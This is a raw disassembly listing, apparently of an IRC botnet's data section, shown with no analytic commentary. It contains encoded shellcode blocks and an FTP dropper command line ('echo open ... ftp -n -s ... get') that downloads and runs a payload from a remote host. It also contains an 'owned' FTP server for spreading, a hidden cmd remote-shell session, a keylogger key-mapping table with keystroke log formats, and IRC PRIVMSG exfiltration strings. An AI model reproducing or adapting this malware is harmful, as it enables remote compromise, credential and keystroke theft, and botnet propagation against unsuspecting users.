6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40EAA2+92o ; sub_418D50+90o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: .nsp0:0041A50Eo aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F168+5D7o a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F168+5B6o align 4 aFtpIJustOwnedS db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40F168+565o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F168+551o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F168+4F4o align 10h aRetr db 'RETR',0 ; DATA XREF: sub_40F168+4DCo align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F168+4CCo align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F168+4BBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F168+488o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F168+447o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_40F168+40Eo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F168+3E0o align 4 aList_0 db 'LIST',0 ; DATA XREF: sub_40F168+3CDo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F168+395o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_40F168+382o align 10h a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F168+372o aI: ; DATA XREF: sub_40F168+35Eo ; .nsp0:0043FF58o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F168+33Bo aA: ; DATA XREF: sub_40F168+327o ; .nsp0:0043FF64o unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_40F168:loc_40F471o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F168+2FEo align 4 off_43BA98 dd offset dword_445750 ; DATA XREF: sub_40F168+2EAo a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F168+2DDo align 10h aRest db 'REST',0 ; DATA XREF: sub_40F168+2C9o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F168+2BCo align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40F168+2A8o align 10h a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F168+29Bo align 4 aPass db 'PASS',0 ; DATA XREF: sub_40F168+287o align 10h a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F168+277o align 4 aSS_0 db '%s %s',0 ; DATA XREF: sub_40F168+251o align 10h a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F168+1C9o align 4 unk_43BB28 db 2Dh ; - ; DATA XREF: sub_40F891+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43BB50 db 0Dh,0Ah,0 ; DATA XREF: sub_40F891+2CFo ; sub_41AD75+F2o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F891+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FCEC+97o align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FCEC+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FCEC:loc_40FD51o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FCEC+5Eo align 10h unk_43BD70 db 2Dh ; - ; DATA XREF: .nsp0:004100FDo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_35 db ' failed to start worker thread, error %d',0 align 4 unk_43BDA8 db 2Dh ; - ; DATA XREF: .nsp0:00410079o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 aS_5 db '\%s',0 ; DATA XREF: .nsp0:0040FE9Do aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41011E+64Eo align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41011E+618o align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41011E+589o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41011E+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41011E:loc_410636o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41011E+511o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41011E+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41011E+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41011E:loc_4104E0o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41011E+3BBo align 4 aSS_1 db '%s%s/',0 ; DATA XREF: sub_41011E+374o align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+330o ; sub_41011E+486o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41011E+30Eo align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_41011E+2E4o ; sub_41011E+413o align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41011E+2BAo aAm db 'AM',0 ; DATA XREF: sub_41011E+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_41011E+285o align 4 a__ db '..',0 ; DATA XREF: sub_41011E+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41011E+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41011E+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41011E+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_41088B+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 unk_43C280 db 2Dh ; - ; DATA XREF: sub_4109AC+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_36 db 'Failed to start client thread, error: <%d>.',0 unk_43C2BC db 2Dh ; - ; DATA XREF: sub_4109AC+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnecti db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_43C304 db 2Dh ; - ; DATA XREF: sub_410B3D+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_37 db 'Failed to start connection thread, error: <%d>.',0 unk_43C344 db 2Dh ; - ; DATA XREF: sub_410B3D+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_43C388 db 2Dh ; - ; DATA XREF: .nsp0:00410FAAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_43C3B4 db 2Dh ; - ; DATA XREF: .nsp0:00410F83o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_43C3E0 db 2Dh ; - ; DATA XREF: .nsp0:00410F63o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: .nsp0:00410F33o align 4 unk_43C41C db 2Dh ; - ; DATA XREF: .nsp0:00410EA2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_43C448 db 2Dh ; - ; DATA XREF: .nsp0:loc_41100Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_43C474 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_411020+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_43C610 db 2Dh ; - ; DATA XREF: sub_4112D7+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_43C644 db 2Dh ; - ; DATA XREF: sub_4112D7+59o ; sub_4112D7+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43C68C db 2Dh ; - ; DATA XREF: sub_411428+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_43C6B4 db 2Dh ; - ; DATA XREF: sub_411428+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_43C6F4 db 2Dh ; - ; DATA XREF: sub_411428+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_43C734 db 2Dh ; - ; DATA XREF: sub_411521+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411521+8Co align 4 unk_43C774 db 2Dh ; - ; DATA XREF: sub_4115FA+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 dword_43C7B0 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_38 db '- Failed to start server on Port %d.',0 align 4 dword_43C7E4 dd 234032Dh, 6B636F73h, 3023473haFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0 align 10h dword_43C820 dd 234032Dh, 6B636F73h, 3023473haClientConnec_1 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dd 234032Dh, 6B636F73h, 3023473h aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dword_43C8E8 dd 234032Dh, 6B636F73h, 3023473h, 7541202Dh, 6E656874h ; DATA XREF: .nsp0:00411AC6o dd 61636974h, 6E6F6974h, 69616620h, 2E64656Ch, 6D655220h dd 2065746Fh, 72657375h, 203A6469h, 21207325h, 7325203Dh dd 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB_1: ; DATA XREF: .nsp0:loc_4123D9o unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_43D0AC dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_43D0E4 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0041229Do align 4 unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: .nsp0:0041251Eo align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: .nsp0:004124DBo align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: .nsp0:00412385o align 10h off_43D160 dd offset dword_43D9D8 ; DATA XREF: .nsp0:00412890r dd offset off_43D9D4 dd offset off_43D9D0 dd offset aHttp_0 ; "HTTP" dword_43D170 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_43D184 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 